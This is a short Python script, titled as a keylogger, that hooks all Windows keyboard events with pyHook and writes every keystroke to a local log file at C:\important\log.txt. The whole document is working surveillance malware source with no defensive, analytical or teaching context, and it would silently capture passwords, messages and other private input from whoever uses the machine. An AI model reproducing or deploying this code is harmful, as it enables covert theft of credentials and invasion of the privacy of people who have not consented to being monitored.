Keylogger in Python

import pyHook, pythoncom, sys, logging

file_log = 'C:\important\log.txt'

def OnKeyboardEvent(event):
                    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
                    chr(event.Ascii)
                    logging.log(10,chr(event.Ascii))
                    return True

hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()